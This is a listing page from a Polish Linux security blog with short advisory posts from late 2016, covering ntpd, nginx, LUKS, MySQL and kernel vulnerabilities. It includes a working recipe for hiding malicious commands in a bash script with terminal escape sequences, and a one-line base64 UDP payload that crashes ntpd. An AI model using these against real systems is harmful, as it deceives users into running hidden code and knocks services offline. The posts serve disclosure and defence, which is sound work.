NFsec Logo

Ukrywanie szkodliwego kodu w skryptach bash

09/01/2017 (2 tygodnie temu) w Ataki Internetowe, Bezpieczeństwo Brak komentarzy.

Przez przypadek trafiłem na wpis na wykopie. Idąc tym tropem dotarłem do źródła, w którym możemy znaleźć prosty przepis na stworzenie szkodliwego skryptu w powłoce bash, który z pozoru będzie wyglądał normalnie:

$ printf '#!/bin/bash\necho szkodliwy kod!\nexit\n\033[2Aecho cos tam!\n' > backdoor.sh
$ chmod +x backdoor.sh
$ cat backdoor.sh
#!/bin/bash
echo cos tam!
$ ./backdoor.sh
szkodliwy kod!

Jak to działa? Istnieją specjalne sekwencje znaków, które interpretuje terminal nie wyświetlając ich, ale podejmując daną akcję. Dlaczego takie polecenia, jak: cat, head, tail, more i inne zostają oszukane? Ponieważ sekwencja \033[XA powoduje przesunięcie kursora do góry o X linii nadpisując to, co jest w tej X linii. Przez, co użytkownik widzi zupełnie inny kod niż w rzeczywistości zostanie wykonany. W połączeniu z innymi atakami mogą stanowić kompletny wektor na oszukanie użytkownika sytemu z rodziny *nix.

Więcej informacji: JournalCTL Terminal Escape Injection && Log Injection

Nie ufaj X-Forwarded-For

30/12/2016 w Bezpieczeństwo Brak komentarzy.

N

agłówek protokołu HTTP: X-Forwarded-For (XFF) pierwotnie został przedstawiony przez zespół developerów odpowiedzialnych za rozwijanie serwera Squid, jako metoda identyfikacji oryginalnego adresu IP klienta łączącego się do serwera web, poprzez inny serwer proxy lub load balancer. Bez użycia XFF lub innej, podobnej techniki, dowolne połączenie za pośrednictwem proxy, pozostawiłoby jedynie adres IP pochodzący z samego serwera proxy zamieniając go w usługę anonimizującą klientów. W ten sposób, wykrywanie i zapobieganie nieautoryzowanym dostępom, stałoby się znacznie trudniejsze niż w przypadku przekazywania informacji o adresie IP, z którego przyszło żądanie. Przydatność X-Forwarded-For zależy od serwera proxy, który zgodnie z rzeczywistością, powinien przekazać adres IP łączącego się z nim klienta. Z tego powodu, serwery będące za serwerami proxy muszą wiedzieć, które z nich są „godne zaufania”. Niestety, czasami nawet i to nie wystarczy. W najnowszym Sekurak Zine #3 postaram się przedstawić, dlaczego nie powinniśmy na ślepo ufać wartościom pochodzącym z tego nagłówka.

Sytuacja wyścigu w implementacji af_packet.c

10/12/2016 w Bezpieczeństwo Brak komentarzy.

W październiku Phil Oester odkrył lukę w jądrze Linuksa o nazwie Dirty COW, która mogła zostać wykorzystana przez lokalnego napastnika do podniesienia swoich uprawnień do roli administratora. 28.11.2016 Philip Pettersson znalazł i zgłosił do zespołu bezpieczeństwa jądra kolejny błąd, który był obecny w systemie Linux od pięciu lat (2011). 06.12.2016 luka została publicznie ogłoszona. Błąd polega na możliwości sytuacji wyścigu w pliku net/packet/af_packet.c. Sytuacja ta z kolei prowadzi do błędu typu use-after-free w sposobie w jakim implementacja surowych gniazd w podsystemie sieciowym jądra obsługuje synchronizację podczas tworzenia buforu pierścieniowego TPACKET_V3. UAF głównie odnosi się do próby uzyskania dostępu do pamięci po jej zwolnieniu, co może powodować zawieszenie się programu, czy potencjalnie zakończyć się bezwględnym wykonaniem kodu lub nawet przyznać możliwości jego zdalnego wykonania.
[ czytaj całość… ]

Wywałka ntpd jednym pakietem UDP

22/11/2016 w Bezpieczeństwo Brak komentarzy.

N

owy błąd w daemonie NTP pozwala na przeprowadzenie ataku Denial of Service za pomocą jednego, spreparowanego pakietu UDP, który wywołuje null pointer dereference. Atak można przeprowadzić zdalnie, a atakujący nie musi być uwierzytelniony. Cały atak ogranicza się do wysłania na port NTP wiadomości:

echo "FgoAEAAAAAAAAAA2bm9uY2UsIGxhZGRyPVtdOkhyYWdzPTMyLCBsY"\
"WRkcj1bXTpXT1AAMiwgbGFkZHI9W106V09QAAA=" | base64 -d | nc -u -v 127.0.0.1 123

Podatne są wszystkie wersje do ntp-4.2.7p22 z wykluczeniem ntp-4.2.8p9 oraz do ntp-4.3.0 z wykluczeniem ntp-4.3.94. O ile aktywnie utrzymywane systemy operacyjne poradzą sobie z aktualizacją pakietów – ponownie nie wszystkie urządzenia korzystające z wbudowanych systemów będą mogły zostać zaktualizowane. Większość urządzeń nie posiada już wsparcia ze strony producentów lub dostarczenie odpowiedniej poprawki może być bardzo przeciągnięte w czasie. W takich wypadkach należy wyłączyć usługę serwera czasu (jeśli nie jest ona w ogóle potrzebna) lub ograniczyć do niej sieciowy dostęp tylko z zaufanych źródeł.

Więcej informacji: Vulnerability Note VU#633847, CVE-2016-7434

Eskalacja uprawnień poprzez paczkę nginx w Debianie i Ubuntu

17/11/2016 w Bezpieczeństwo Brak komentarzy.

P

akiet nginx w dystrybucjach Debian i Ubuntu systemu Linux jest podatny na eskalację uprawnień poprzez zastosowanie niebezpiecznych praw dostępu do katalogu, gdzie przechowywane są logi serwera WWW. Skutkiem błędnej konfiguracji może być uzyskanie praw administratora przez atakującego, który na przykład wcześniej zdołał skompromitować aplikację internetową uruchomioną na serwerze nginx i uzyskał dostęp do konta www-data lub taki dostęp został mu wcześniej przyznany, aby móc wdrażać aplikacje internetowe. Za pomocą odpowiedniego eksploita jest w stanie podnieść swoje uprawnienia w ciągu 24 godzin za pomocą narzędzia logrotate, które poddaje logi rotacji raz dziennie.

Więcej informacji: CVE-2016-1247, PoC Video

Omijanie uwierzytelniania w mechanizmie szyfrowania dysków LUKS

15/11/2016 w Bezpieczeństwo Brak komentarzy.

B

łąd w implementacji narzędzia cryptsetup używanego do szyfrowania dysków w systemie Linux za pomocą LUKS pozwala atakującemu na ominięcie procedur uwierzytelniania za pomocą. Uwaga. Naciskania klawisza „ENTER” przez 70 sekund. Skutkiem jest otrzymanie powłoki uruchomionej z uprawnieniami administratora. Luka została odkryta przez Hektora Marco – tak, tego samego odpowiedzialnego za znalezienie błędu pozwalającego na ominięcie uwierzytelniania w bootloaderze GRUB2.
[ czytaj całość… ]

Najlepsze z Directory Traversal i Local File Inclusion (LFI)

14/11/2016 w Bezpieczeństwo, Pen Test Brak komentarzy.

A

taki typu directory traversal oraz Local File Inclusion bywają często widywane w aplikacjach internetowych. Obydwa te błędy mogą zostać wykorzystane do odczytu dowolnych plików na serwerze. Najczęściej pokazywanym przykładem jest możliwość przeczytania pliku /etc/passwd:
[ czytaj całość… ]

Inwigilacja połączeń SSH za pomocą strace

12/11/2016 w Bezpieczeństwo 1 komentarz.

T

o, że używamy SSH do połączeń z serwerami nie oznacza, że możemy czuć się bezpiecznie. Szczególnie musimy uważać na te maszyny, którymi zarządzają niezaufane osoby. Dlaczego? Ponieważ odczyt niezaszyfrowanych danych w systemie można wykonać na różnych poziomach dostępu. Za przykład weźmy wywołanie ptrace, które jest używane do monitoringu i kontroli innych procesów. Głównie jest używane do debugowania, a chyba najpopularniejszym programem wykorzystującym jego możliwości jest strace.
[ czytaj całość… ]

OpenSCAP – hartowanie systemów CentOS 7 oraz RedHat 7 do PCI DSS

06/11/2016 w Administracja, Bezpieczeństwo Brak komentarzy.

O

penSCAP jest implementacją open source protokołu Security Content Automation Protocol, czyli SCAP, który analizuje system pod kątem zgodności ze standardami bezpieczeństwa. Przestrzeganie wytycznych i wskazówek w tym protokole umożliwia infrastrukturze opartej o system Linux spełnienie standardów przeznaczonych dla systemów klasy Enterprise oraz tych przewidzianych w PCI DSS. Do dyspozycji mamy narzędzie GUI (scap-workbench) lub dla linii poleceń (openscap-scanner), które umożliwiają nam przeskanowanie systemu pod względem zgodności z wybraną wcześniej polityką. Jeśli chcemy na poważnie potraktować wszystkie zalecenia, z którymi będziemy mogli zapoznać się w końcowym raporcie najlepiej od razu użyć wtyczki do anakondy – pozwoli ona na przeprowadzenie analizy bezpieczeństwa już podczas procesu instalacji systemu. W ten sposób nie będziemy musieli się martwić np. o jego przepartycjonowanie. Jeśli nasza dystrybucja różni się od rodziny Red Hat zawsze możemy przestudiować Przewodnik Bezpieczeństwa SCAP.

Więcej informacji: Make a RHEL7 server compliant with PCI-DSS, Security Harden CentOS 7, Contributing to SCAP Security Guide

MySQL – eskalacja uprawnień poprzez sytuację wyścigu

02/11/2016 w Bezpieczeństwo Brak komentarzy.

D

awid Golunski w formie. Serwer MySQL oraz jego odmiany (MariaDB, Percona) są podatne na eskalację uprawnień poprzez możliwość wygrania sytuacji wyścigu. Podatność pozwala lokalnemu użytkownikowi systemu na eskalację uprawnień i dowolne wykonanie kodu jako użytkownik bazy danych – najczęściej „mysql” – za pomocą dostępu zwykłego konta do bazy danych z podstawowymi uprawnieniami (CREATE/INSERT/SELECT). Eksploatacja zakończona sukcesem pozwala atakującemu na uzyskanie dostępu do wszystkich baz danych przechowywanych na podatnym serwerze. Wraz z połączeniem z innymi błędami może dojść nawet do pełnej kompromitacji systemu poprzez uzyskanie praw administratora. Wystarczy, że atakujący stworzy bazę danych w tymczasowym katalogu i wykona na niej operację REPAIR, która pozwoli mu na wygranie wyścigu przed operacją chmod(). W oknie atakujący może zamienić plik bazy danych na symlink do katalogu /var/lib/mysql. W ten sposób wcześniej ustawione prawa dostępu bazy np. 777 zostaną przeniesione na katalog, na który wskazuje symlink. Inne wykorzystanie tej luki umożliwia uzyskanie powłoki systemowej z uprawnieniami użytkownika, z którymi został uruchomiony serwer MySQL. Podatne są wersje:

MariaDB: 
	< 5.5.52
	< 10.1.18
        < 10.0.28
MySQL:
	<= 5.5.51
	<= 5.6.32
	<= 5.7.14
Percona Server:
	< 5.5.51-38.2
	< 5.6.32-78-1
	< 5.7.14-8
Percona XtraDB Cluster:
	< 5.6.32-25.17
	< 5.7.14-26.17
	< 5.5.41-37.0

Więcej informacji: PoC oraz Exploit wraz z szczegółowym opisem podatności

Strona 1 z 1912345...1015...Ostatnia »